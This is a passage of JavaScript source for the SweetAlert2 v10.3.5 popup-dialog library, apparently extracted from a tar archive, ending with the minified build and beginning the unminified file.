'):_(t,Yt({question:"?",warning:"!",info:"i"}[e.icon]))},Kt=function(t,e){if(e.iconColor){t.style.color=e.iconColor,t.style.borderColor=e.iconColor;for(var n=0,o=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n<o.length;n++){st(t,o[n],"backgroundColor",e.iconColor)}st(t,".swal2-success-ring","borderColor",e.iconColor)}},Yt=function(t){return'<div class="'.concat(J["icon-content"],'">').concat(t,"</div>")},Zt=[],Qt=function(t,e){t.className="".concat(J.popup," ").concat(wt(t)?e.showClass.popup:""),e.toast?(vt([document.documentElement,document.body],J["toast-shown"]),vt(t,J.toast)):vt(t,J.modal),z(t,e,"popup"),"string"==typeof e.customClass&&vt(t,e.customClass),e.icon&&vt(t,J["icon-".concat(e.icon)])};function $t(){var t=x();t||bn.fire(),t=x();var e=j(),n=T(),o=D();rt(e),at(n),vt([t,e],J.loading),rt(o),t.setAttribute("data-loading",!0),t.setAttribute("aria-busy",!0),t.focus()}function Jt(){return new Promise(function(t){var e=window.scrollX,n=window.scrollY;oe.restoreFocusTimeout=setTimeout(function(){oe.previousActiveElement&&oe.previousActiveElement.focus?(oe.previousActiveElement.focus(),oe.previousActiveElement=null):document.body&&document.body.focus(),t()},100),void 0!==e&&void 0!==n&&window.scrollTo(e,n)})}function Xt(){if(oe.timeout)return function(){var t=V(),e=parseInt(window.getComputedStyle(t).width);t.style.removeProperty("transition"),t.style.width="100%";var n=parseInt(window.getComputedStyle(t).width),o=parseInt(e/n*100);t.style.removeProperty("transition"),t.style.width="".concat(o,"%")}(),oe.timeout.stop()}function Gt(){if(oe.timeout){var t=oe.timeout.start();return dt(t),t}}function te(t){return Object.prototype.hasOwnProperty.call(ie,t)}function ee(t){return ae[t]}function ne(t){for(var e in t)te(i=e)||K('Unknown parameter "'.concat(i,'"')),t.toast&&(o=e,-1!==se.indexOf(o)&&K('The parameter "'.concat(o,'" is incompatible with toasts'))),ee(n=e)&&g(n,ee(n));var n,o,i}var oe={},ie={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:void 0,target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,showCloseButton:!1,closeButtonHtml:"&times;",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},re=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],ae={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},se=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","heightAuto","keydownListenerCapture"],ce=Object.freeze({isValidParameter:te,isUpdatableParameter:function(t){return-1!==re.indexOf(t)},isDeprecatedParameter:ee,argsToParams:function(o){var i={};return"object"!==r(o[0])||w(o[0])?["title","html","icon"].forEach(function(t,e){var n=o[e];"string"==typeof n||w(n)?i[t]=n:void 0!==n&&Y("Unexpected type of ".concat(t,'! Expected "string" or "Element", got ').concat(r(n)))}):c(i,o[0]),i},isVisible:function(){return wt(x())},clickConfirm:Ut,clickDeny:function(){return L()&&L().click()},clickCancel:function(){return q()&&q().click()},getContainer:C,getPopup:x,getTitle:P,getContent:A,getHtmlContainer:function(){return e(J["html-container"])},getImage:S,getIcon:B,getIcons:n,getCloseButton:R,getActions:j,getConfirmButton:T,getDenyButton:L,getCancelButton:q,getHeader:I,getFooter:M,getTimerProgressBar:V,getFocusableElements:H,getValidationMessage:O,isLoading:U,fire:function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return i(this,e)},mixin:function(r){return function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&l(t,e)}(i,t);var n,o,e=(n=i,o=d(),function(){var t,e=u(n);return p(this,o?(t=u(this).constructor,Reflect.construct(e,arguments,t)):e.apply(this,arguments))});function i(){return a(this,i),e.apply(this,arguments)}return s(i,[{key:"_main",value:function(t){return f(u(i.prototype),"_main",this).call(this,c({},r,t))}}]),i}(this)},queue:function(t){var r=this;Zt=t;function a(t,e){Zt=[],t(e)}var s=[];return new Promise(function(i){!function e(n,o){n<Zt.length?(document.body.setAttribute("data-swal2-queue-step",n),r.fire(Zt[n]).then(function(t){void 0!==t.value?(s.push(t.value),e(n+1,o)):a(i,{dismiss:t.dismiss})})):a(i,{value:s})}(0)})},getQueueStep:Vt,insertQueueStep:function(t,e){return e&&e<Zt.length?Zt.splice(e,0,t):Zt.push(t)},deleteQueueStep:function(t){void 0!==Zt[t]&&Zt.splice(t,1)},showLoading:$t,enableLoading:$t,getTimerLeft:function(){return oe.timeout&&oe.timeout.getTimerLeft()},stopTimer:Xt,resumeTimer:Gt,toggleTimer:function(){var t=oe.timeout;return t&&(t.running?Xt:Gt)()},increaseTimer:function(t){if(oe.timeout){var e=oe.timeout.increase(t);return dt(e,!0),e}},isTimerRunning:function(){return oe.timeout&&oe.timeout.isRunning()}});function ue(){var t,e=Ot.innerParams.get(this);e&&(t=Ot.domCache.get(this),at(t.loader),e.showConfirmButton?rt(t.confirmButton):e.showConfirmButton||e.showCancelButton||at(t.actions),yt([t.popup,t.actions],J.loading),t.popup.removeAttribute("aria-busy"),t.popup.removeAttribute("data-loading"),t.confirmButton.disabled=!1,t.denyButton.disabled=!1,t.cancelButton.disabled=!1)}function le(){null===tt.previousBodyPadding&&document.body.scrollHeight>window.innerHeight&&(tt.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(tt.previousBodyPadding+function(){var t=document.createElement("div");t.className=J["scrollbar-measure"],document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e}(),"px"))}function de(){return!!window.MSInputMethodContext&&!!document.documentMode}function pe(){var t=C(),e=x();t.style.removeProperty("align-items"),e.offsetTop<0&&(t.style.alignItems="flex-start")}var fe=function(){navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)||x().scrollHeight>window.innerHeight-44&&(C().style.paddingBottom="".concat(44,"px"))},me=function(){var e,t=C();t.ontouchstart=function(t){e=he(t.target)},t.ontouchmove=function(t){e&&(t.preventDefault(),t.stopPropagation())}},he=function(t){var e=C();return t===e||!(ut(e)||"INPUT"===t.tagName||ut(A())&&A().contains(t))},ge={swalPromiseResolve:new WeakMap};function ve(t,e,n,o){var i;n?Ce(t,o):(Jt().then(function(){return Ce(t,o)}),oe.keydownTarget.removeEventListener("keydown",oe.keydownHandler,{capture:oe.keydownListenerCapture}),oe.keydownHandlerAdded=!1),e.parentNode&&!document.body.getAttribute("data-swal2-queue-step")&&e.parentNode.removeChild(e),N()&&(null!==tt.previousBodyPadding&&(document.body.style.paddingRight="".concat(tt.previousBodyPadding,"px"),tt.previousBodyPadding=null),F(document.body,J.iosfix)&&(i=parseInt(document.body.style.top,10),yt(document.body,J.iosfix),document.body.style.top="",document.body.scrollTop=-1*i),"undefined"!=typeof window&&de()&&window.removeEventListener("resize",pe),h(document.body.children).forEach(function(t){t.hasAttribute("data-previous-aria-hidden")?(t.setAttribute("aria-hidden",t.getAttribute("data-previous-aria-hidden")),t.removeAttribute("data-previous-aria-hidden")):t.removeAttribute("aria-hidden")})),yt([document.documentElement,document.body],[J.shown,J["height-auto"],J["no-backdrop"],J["toast-shown"],J["toast-column"]])}function ye(t){var e,n,o,i=x();i&&(t=function(t){return void 0!==t?c({isConfirmed:!1,isDenied:!1,isDismissed:!1},t):{isConfirmed:!1,isDenied:!1,isDismissed:!0}}(t),(e=Ot.innerParams.get(this))&&!F(i,e.hideClass.popup)&&(n=ge.swalPromiseResolve.get(this),yt(i,e.showClass.popup),vt(i,e.hideClass.popup),o=C(),yt(o,e.showClass.backdrop),vt(o,e.hideClass.backdrop),function(t,e,n){var o=C(),i=Pt&&lt(e),r=n.onClose,a=n.onAfterClose,s=n.willClose,c=n.didClose;if(be(e,s,r),i){we(t,e,o,c||a)}else{ve(t,o,G(),c||a)}}(this,i,e),n(t)))}var be=function(t,e,n){null!==e&&"function"==typeof e?e(t):null!==n&&"function"==typeof n&&n(t)},we=function(t,e,n,o){oe.swalCloseEventFinishedCallback=ve.bind(null,t,n,G(),o),e.addEventListener(Pt,function(t){t.target===e&&(oe.swalCloseEventFinishedCallback(),delete oe.swalCloseEventFinishedCallback)})},Ce=function(t,e){setTimeout(function(){"function"==typeof e&&e(),t._destroy()})};function ke(t,e,n){var o=Ot.domCache.get(t);e.forEach(function(t){o[t].disabled=n})}function xe(t,e){if(!t)return!1;if("radio"===t.type)for(var n=t.parentNode.parentNode.querySelectorAll("input"),o=0;o<n.length;o++)n[o].disabled=e;else t.disabled=e}var Be=function(){function n(t,e){a(this,n),this.callback=t,this.remaining=e,this.running=!1,this.start()}return s(n,[{key:"start",value:function(){return this.running||(this.running=!0,this.started=new Date,this.id=setTimeout(this.callback,this.remaining)),this.remaining}},{key:"stop",value:function(){return this.running&&(this.running=!1,clearTimeout(this.id),this.remaining-=new Date-this.started),this.remaining}},{key:"increase",value:function(t){var e=this.running;return e&&this.stop(),this.remaining+=t,e&&this.start(),this.remaining}},{key:"getTimerLeft",value:function(){return this.running&&(this.stop(),this.start()),this.remaining}},{key:"isRunning",value:function(){return this.running}}]),n}(),Pe={email:function(t,e){return/^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(t)?Promise.resolve():Promise.resolve(e||"Invalid email address")},url:function(t,e){return/^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(t)?Promise.resolve():Promise.resolve(e||"Invalid URL")}};function Ae(t){var e,n;(e=t).inputValidator||Object.keys(Pe).forEach(function(t){e.input===t&&(e.inputValidator=Pe[t])}),t.showLoaderOnConfirm&&!t.preConfirm&&K("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request"),t.animation=Q(t.animation),(n=t).target&&("string"!=typeof n.target||document.querySelector(n.target))&&("string"==typeof n.target||n.target.appendChild)||(K('Target parameter is not valid, defaulting to "body"'),n.target="body"),"string"==typeof t.title&&(t.title=t.title.split("\n").join("<br />")),kt(t)}function Se(t){var e=C(),n=x();"function"==typeof t.willOpen?t.willOpen(n):"function"==typeof t.onBeforeOpen&&t.onBeforeOpen(n);var o=window.getComputedStyle(document.body).overflowY;Ne(e,n,t),setTimeout(function(){Re(e,n)},10),N()&&(He(e,t.scrollbarPadding,o),h(document.body.children).forEach(function(t){t===C()||function(t,e){if("function"==typeof t.contains)return t.contains(e)}(t,C())||(t.hasAttribute("aria-hidden")&&t.setAttribute("data-previous-aria-hidden",t.getAttribute("aria-hidden")),t.setAttribute("aria-hidden","true"))})),G()||oe.previousActiveElement||(oe.previousActiveElement=document.activeElement),Ve(n,t),yt(e,J["no-transition"])}function Ee(t){var e,n=x();t.target===n&&(e=C(),n.removeEventListener(Pt,Ee),e.style.overflowY="auto")}function Oe(t,e){"select"===e.input||"radio"===e.input?ze(t,e):-1!==["text","email","number","tel","textarea"].indexOf(e.input)&&(v(e.inputValue)||b(e.inputValue))&&We(t,e)}function Te(t,e){t.disableButtons(),e.input?Ze(t,e):$e(t,e,!0)}function Le(t){t.disableButtons(),Qe(t)}function De(t,e){t.disableButtons(),e($.cancel)}function qe(t,e){t.closePopup({isConfirmed:!0,value:e})}function je(e,t,n,o){t.keydownTarget&&t.keydownHandlerAdded&&(t.keydownTarget.removeEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!1),n.toast||(t.keydownHandler=function(t){return tn(e,t,o)},t.keydownTarget=n.keydownListenerCapture?window:x(),t.keydownListenerCapture=n.keydownListenerCapture,t.keydownTarget.addEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!0)}function Ie(t,e,n){var o=H(),i=0;if(i<o.length)return(e+=n)===o.length?e=0:-1===e&&(e=o.length-1),o[e].focus();x().focus()}function Me(t,e,n){Ot.innerParams.get(t).toast?an(t,e,n):(cn(e),un(e),ln(t,e,n))}var Ve=function(t,e){"function"==typeof e.didOpen?setTimeout(function(){return e.didOpen(t)}):"function"==typeof e.onOpen&&setTimeout(function(){return e.onOpen(t)})},Re=function(t,e){Pt&&lt(e)?(t.style.overflowY="hidden",e.addEventListener(Pt,Ee)):t.style.overflowY="auto"},He=function(t,e,n){var o;(/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream||"MacIntel"===navigator.platform&&1<navigator.maxTouchPoints)&&!F(document.body,J.iosfix)&&(o=document.body.scrollTop,document.body.style.top="".concat(-1*o,"px"),vt(document.body,J.iosfix),me(),fe()),"undefined"!=typeof window&&de()&&(pe(),window.addEventListener("resize",pe)),e&&"hidden"!==n&&le(),setTimeout(function(){t.scrollTop=0})},Ne=function(t,e,n){vt(t,n.showClass.backdrop),e.style.setProperty("opacity","0","important"),rt(e),setTimeout(function(){vt(e,n.showClass.popup),e.style.removeProperty("opacity")},10),vt([document.documentElement,document.body],J.shown),n.heightAuto&&n.backdrop&&!n.toast&&vt([document.documentElement,document.body],J["height-auto"])},Ue=function(t){return t.checked?1:0},_e=function(t){return t.checked?t.value:null},Fe=function(t){return t.files.length?null!==t.getAttribute("multiple")?t.files:t.files[0]:null},ze=function(e,n){function o(t){return Ke[n.input](i,Ye(t),n)}var i=A();v(n.inputOptions)||b(n.inputOptions)?($t(),y(n.inputOptions).then(function(t){e.hideLoading(),o(t)})):"object"===r(n.inputOptions)?o(n.inputOptions):Y("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(r(n.inputOptions)))},We=function(e,n){var o=e.getInput();at(o),y(n.inputValue).then(function(t){o.value="number"===n.input?parseFloat(t)||0:"".concat(t),rt(o),o.focus(),e.hideLoading()}).catch(function(t){Y("Error in inputValue promise: ".concat(t)),o.value="",rt(o),o.focus(),e.hideLoading()})},Ke={select:function(t,e,i){function r(t,e,n){var o=document.createElement("option");o.value=n,_(o,e),i.inputValue.toString()===n.toString()&&(o.selected=!0),t.appendChild(o)}var a=bt(t,J.select);e.forEach(function(t){var e,n=t[0],o=t[1];Array.isArray(o)?((e=document.createElement("optgroup")).label=n,e.disabled=!1,a.appendChild(e),o.forEach(function(t){return r(e,t[1],t[0])})):r(a,o,n)}),a.focus()},radio:function(t,e,a){var s=bt(t,J.radio);e.forEach(function(t){var e=t[0],n=t[1],o=document.createElement("input"),i=document.createElement("label");o.type="radio",o.name=J.radio,o.value=e,a.inputValue.toString()===e.toString()&&(o.checked=!0);var r=document.createElement("span");_(r,n),r.className=J.label,i.appendChild(o),i.appendChild(r),s.appendChild(i)});var n=s.querySelectorAll("input");n.length&&n[0].focus()}},Ye=function o(n){var i=[];return"undefined"!=typeof Map&&n instanceof Map?n.forEach(function(t,e){var n=t;"object"===r(n)&&(n=o(n)),i.push([e,n])}):Object.keys(n).forEach(function(t){var e=n[t];"object"===r(e)&&(e=o(e)),i.push([t,e])}),i},Ze=function(e,n){var o=function(t,e){var n=t.getInput();if(!n)return null;switch(e.input){case"checkbox":return Ue(n);case"radio":return _e(n);case"file":return Fe(n);default:return e.inputAutoTrim?n.value.trim():n.value}}(e,n);n.inputValidator?(e.disableInput(),Promise.resolve().then(function(){return y(n.inputValidator(o,n.validationMessage))}).then(function(t){e.enableButtons(),e.enableInput(),t?e.showValidationMessage(t):$e(e,n,o)})):e.getInput().checkValidity()?$e(e,n,o):(e.enableButtons(),e.showValidationMessage(n.validationMessage))},Qe=function(t){t.closePopup({isDenied:!0,value:!1})},$e=function(e,t,n){t.showLoaderOnConfirm&&$t(),t.preConfirm?(e.resetValidationMessage(),Promise.resolve().then(function(){return y(t.preConfirm(n,t.validationMessage))}).then(function(t){wt(O())||!1===t?e.hideLoading():qe(e,void 0===t?n:t)})):qe(e,n)},Je=["ArrowRight","ArrowDown","Right","Down"],Xe=["ArrowLeft","ArrowUp","Left","Up"],Ge=["Escape","Esc"],tn=function(t,e,n){var o=Ot.innerParams.get(t);o.stopKeydownPropagation&&e.stopPropagation(),"Enter"===e.key?en(t,e,o):"Tab"===e.key?nn(e,o):-1!==[].concat(Je,Xe).indexOf(e.key)?on(e.key):-1!==Ge.indexOf(e.key)&&rn(e,o,n)},en=function(t,e,n){if(!e.isComposing&&e.target&&t.getInput()&&e.target.outerHTML===t.getInput().outerHTML){if(-1!==["textarea","file"].indexOf(n.input))return;Ut(),e.preventDefault()}},nn=function(t){for(var e=t.target,n=H(),o=-1,i=0;i<n.length;i++)if(e===n[i]){o=i;break}t.shiftKey?Ie(0,o,-1):Ie(0,o,1),t.stopPropagation(),t.preventDefault()},on=function(t){var e,n;-1!==[T(),L(),q()].indexOf(document.activeElement)&&(e=-1!==Je.indexOf(t)?"nextElementSibling":"previousElementSibling",(n=document.activeElement[e])&&n.focus())},rn=function(t,e,n){Q(e.allowEscapeKey)&&(t.preventDefault(),n($.esc))},an=function(e,t,n){t.popup.onclick=function(){var t=Ot.innerParams.get(e);t.showConfirmButton||t.showDenyButton||t.showCancelButton||t.showCloseButton||t.input||n($.close)}},sn=!1,cn=function(e){e.popup.onmousedown=function(){e.container.onmouseup=function(t){e.container.onmouseup=void 0,t.target===e.container&&(sn=!0)}}},un=function(e){e.container.onmousedown=function(){e.popup.onmouseup=function(t){e.popup.onmouseup=void 0,t.target!==e.popup&&!e.popup.contains(t.target)||(sn=!0)}}},ln=function(n,o,i){o.container.onclick=function(t){var e=Ot.innerParams.get(n);sn?sn=!1:t.target===o.container&&Q(e.allowOutsideClick)&&i($.backdrop)}};var dn=function(t,e,n){var o=V();at(o),e.timer&&(t.timeout=new Be(function(){n("timer"),delete t.timeout},e.timer),e.timerProgressBar&&(rt(o),setTimeout(function(){t.timeout.running&&dt(e.timer)})))},pn=function(t,e){if(!e.toast)return Q(e.allowEnterKey)?void(fn(t,e)||Ie(0,-1,1)):mn()},fn=function(t,e){return e.focusDeny&&wt(t.denyButton)?(t.denyButton.focus(),!0):e.focusCancel&&wt(t.cancelButton)?(t.cancelButton.focus(),!0):!(!e.focusConfirm||!wt(t.confirmButton))&&(t.confirmButton.focus(),!0)},mn=function(){document.activeElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};var hn,gn=function(t){for(var e in t)t[e]=new WeakMap},vn=Object.freeze({hideLoading:ue,disableLoading:ue,getInput:function(t){var e=Ot.innerParams.get(t||this),n=Ot.domCache.get(t||this);return n?et(n.content,e.input):null},close:ye,closePopup:ye,closeModal:ye,closeToast:ye,enableButtons:function(){ke(this,["confirmButton","denyButton","cancelButton"],!1)},disableButtons:function(){ke(this,["confirmButton","denyButton","cancelButton"],!0)},enableInput:function(){return xe(this.getInput(),!1)},disableInput:function(){return xe(this.getInput(),!0)},showValidationMessage:function(t){var e=Ot.domCache.get(this);_(e.validationMessage,t);var n=window.getComputedStyle(e.popup);e.validationMessage.style.marginLeft="-".concat(n.getPropertyValue("padding-left")),e.validationMessage.style.marginRight="-".concat(n.getPropertyValue("padding-right")),rt(e.validationMessage);var o=this.getInput();o&&(o.setAttribute("aria-invalid",!0),o.setAttribute("aria-describedBy",J["validation-message"]),nt(o),vt(o,J.inputerror))},resetValidationMessage:function(){var t=Ot.domCache.get(this);t.validationMessage&&at(t.validationMessage);var e=this.getInput();e&&(e.removeAttribute("aria-invalid"),e.removeAttribute("aria-describedBy"),yt(e,J.inputerror))},getProgressSteps:function(){return Ot.domCache.get(this).progressSteps},_main:function(t){ne(t),oe.currentInstance&&oe.currentInstance._destroy(),oe.currentInstance=this;var e=function(t){var e=c({},ie.showClass,t.showClass),n=c({},ie.hideClass,t.hideClass),o=c({},ie,t);if(o.showClass=e,o.hideClass=n,t.animation===false){o.showClass={popup:"swal2-noanimation",backdrop:"swal2-noanimation"};o.hideClass={}}return o}(t);Ae(e),Object.freeze(e),oe.timeout&&(oe.timeout.stop(),delete oe.timeout),clearTimeout(oe.restoreFocusTimeout);var n=function(t){var e={popup:x(),container:C(),content:A(),actions:j(),confirmButton:T(),denyButton:L(),cancelButton:q(),loader:D(),closeButton:R(),validationMessage:O(),progressSteps:E()};return Ot.domCache.set(t,e),e}(this);return Nt(this,e),Ot.innerParams.set(this,e),function(n,o,i){return new Promise(function(t){var e=function t(e){n.closePopup({isDismissed:true,dismiss:e})};ge.swalPromiseResolve.set(n,t);o.confirmButton.onclick=function(){return Te(n,i)};o.denyButton.onclick=function(){return Le(n)};o.cancelButton.onclick=function(){return De(n,e)};o.closeButton.onclick=function(){return e($.close)};Me(n,o,e);je(n,oe,i,e);if(i.toast&&(i.input||i.footer||i.showCloseButton)){vt(document.body,J["toast-column"])}else{yt(document.body,J["toast-column"])}Oe(n,i);Se(i);dn(oe,i,e);pn(o,i);setTimeout(function(){o.container.scrollTop=0})})}(this,n,e)},update:function(e){var t=x(),n=Ot.innerParams.get(this);if(!t||F(t,n.hideClass.popup))return K("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.");var o={};Object.keys(e).forEach(function(t){bn.isUpdatableParameter(t)?o[t]=e[t]:K('Invalid parameter to update: "'.concat(t,'". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md'))});var i=c({},n,o);Nt(this,i),Ot.innerParams.set(this,i),Object.defineProperties(this,{params:{value:c({},this.params,e),writable:!1,enumerable:!0}})},_destroy:function(){var t=Ot.domCache.get(this),e=Ot.innerParams.get(this);e&&(t.popup&&oe.swalCloseEventFinishedCallback&&(oe.swalCloseEventFinishedCallback(),delete oe.swalCloseEventFinishedCallback),oe.deferDisposalTimer&&(clearTimeout(oe.deferDisposalTimer),delete oe.deferDisposalTimer),function(t){if(typeof t.didDestroy==="function"){t.didDestroy()}else if(typeof t.onDestroy==="function"){t.onDestroy()}}(e),delete this.params,delete oe.keydownHandler,delete oe.keydownTarget,gn(Ot),gn(ge))}}),yn=function(){function r(){if(a(this,r),"undefined"!=typeof window){"undefined"==typeof Promise&&Y("This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)"),hn=this;for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];var o=Object.freeze(this.constructor.argsToParams(e));Object.defineProperties(this,{params:{value:o,writable:!1,enumerable:!0,configurable:!0}});var i=this._main(this.params);Ot.promise.set(this,i)}}return s(r,[{key:"then",value:function(t){return Ot.promise.get(this).then(t)}},{key:"finally",value:function(t){return Ot.promise.get(this).finally(t)}}]),r}();c(yn.prototype,vn),c(yn,ce),Object.keys(vn).forEach(function(t){yn[t]=function(){if(hn)return hn[t].apply(hn,arguments)}}),yn.DismissReason=$,yn.version="10.3.5";var bn=yn;return bn.default=bn}),void 0!==this&&this.Sweetalert2&&(this.swal=this.sweetAlert=this.Swal=this.SweetAlert=this.Sweetalert2);sweetalert2.js000064400000323060151735567630007371 0ustar00/*!
* sweetalert2 v10.3.5
* Released under the MIT License.
*/
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
  typeof define === 'function' && define.amd ? define(factory) :
  (global = global || self, global.Sweetalert2 = factory());
}(this, function () { 'use strict';

  function _typeof(obj) {
    "@babel/helpers - typeof";

    if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
      _typeof = function (obj) {
        return typeof obj;
      };
    } else {
      _typeof = function (obj) {
        return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
      };
    }

    return _typeof(obj);
  }

  function _classCallCheck(instance, Constructor) {
    if (!(instance instanceof Constructor)) {
      throw new TypeError("Cannot call a class as a function");
    }
  }

  function _defineProperties(target, props) {
    for (var i = 0; i < props.length; i++) {
      var descriptor = props[i];
      descriptor.enumerable = descriptor.enumerable || false;
      descriptor.configurable = true;
      if ("value" in descriptor) descriptor.writable = true;
      Object.defineProperty(target, descriptor.key, descriptor);
    }
  }

  function _createClass(Constructor, protoProps, staticProps) {
    if (protoProps) _defineProperties(Constructor.prototype, protoProps);
    if (staticProps) _defineProperties(Constructor, staticProps);
    return Constructor;
  }

  function _extends() {
    _extends = Object.assign || function (target) {
      for (var i = 1; i < arguments.length; i++) {
        var source = arguments[i];

        for (var key in source) {
          if (Object.prototype.hasOwnProperty.call(source, key)) {
            target[key] = source[key];
          }
        }
      }

      return target;
    };

    return _extends.apply(this, arguments);
  }

  function _inherits(subClass, superClass) {
    if (typeof superClass !== "function" && superClass !== null) {
      throw new TypeError("Super expression must either be null or a function");
    }

    subClass.prototype = Object.create(superClass && superClass.prototype, {
      constructor: {
        value: subClass,
        writable: true,
        configurable: true
      }
    });
    if (superClass) _setPrototypeOf(subClass, superClass);
  }

  function _getPrototypeOf(o) {
    _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
      return o.__proto__ || Object.getPrototypeOf(o);
    };
    return _getPrototypeOf(o);
  }

  function _setPrototypeOf(o, p) {
    _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
      o.__proto__ = p;
      return o;
    };

    return _setPrototypeOf(o, p);
  }

  function _isNativeReflectConstruct() {
    if (typeof Reflect === "undefined" || !Reflect.construct) return false;
    if (Reflect.construct.sham) return false;
    if (typeof Proxy === "function") return true;

    try {
      Date.prototype.toString.call(Reflect.construct(Date, [], function () {}));
      return true;
    } catch (e) {
      return false;
    }
  }

  function _construct(Parent, args, Class) {
    if (_isNativeReflectConstruct()) {
      _construct = Reflect.construct;
    } else {
      _construct = function _construct(Parent, args, Class) {
        var a = [null];
        a.push.apply(a, args);
        var Constructor = Function.bind.apply(Parent, a);
        var instance = new Constructor();
        if (Class) _setPrototypeOf(instance, Class.prototype);
        return instance;
      };
    }

    return _construct.apply(null, arguments);
  }

  function _assertThisInitialized(self) {
    if (self === void 0) {
      throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
    }

    return self;
  }

  function _possibleConstructorReturn(self, call) {
    if (call && (typeof call === "object" || typeof call === "function")) {
      return call;
    }

    return _assertThisInitialized(self);
  }

  function _createSuper(Derived) {
    var hasNativeReflectConstruct = _isNativeReflectConstruct();

    return function _createSuperInternal() {
      var Super = _getPrototypeOf(Derived),
          result;

      if (hasNativeReflectConstruct) {
        var NewTarget = _getPrototypeOf(this).constructor;

        result = Reflect.construct(Super, arguments, NewTarget);
      } else {
        result = Super.apply(this, arguments);
      }

      return _possibleConstructorReturn(this, result);
    };
  }

  function _superPropBase(object, property) {
    while (!Object.prototype.hasOwnProperty.call(object, property)) {
      object = _getPrototypeOf(object);
      if (object === null) break;
    }

    return object;
  }

  function _get(target, property, receiver) {
    if (typeof Reflect !== "undefined" && Reflect.get) {
      _get = Reflect.get;
    } else {
      _get = function _get(target, property, receiver) {
        var base = _superPropBase(target, property);

        if (!base) return;
        var desc = Object.getOwnPropertyDescriptor(base, property);

        if (desc.get) {
          return desc.get.call(receiver);
        }

        return desc.value;
      };
    }

    return _get(target, property, receiver || target);
  }

  var consolePrefix = 'SweetAlert2:';
  /**
   * Filter the unique values into a new array
   * @param arr
   */

  var uniqueArray = function uniqueArray(arr) {
    var result = [];

    for (var i = 0; i < arr.length; i++) {
      if (result.indexOf(arr[i]) === -1) {
        result.push(arr[i]);
      }
    }

    return result;
  };
  /**
   * Capitalize the first letter of a string
   * @param str
   */

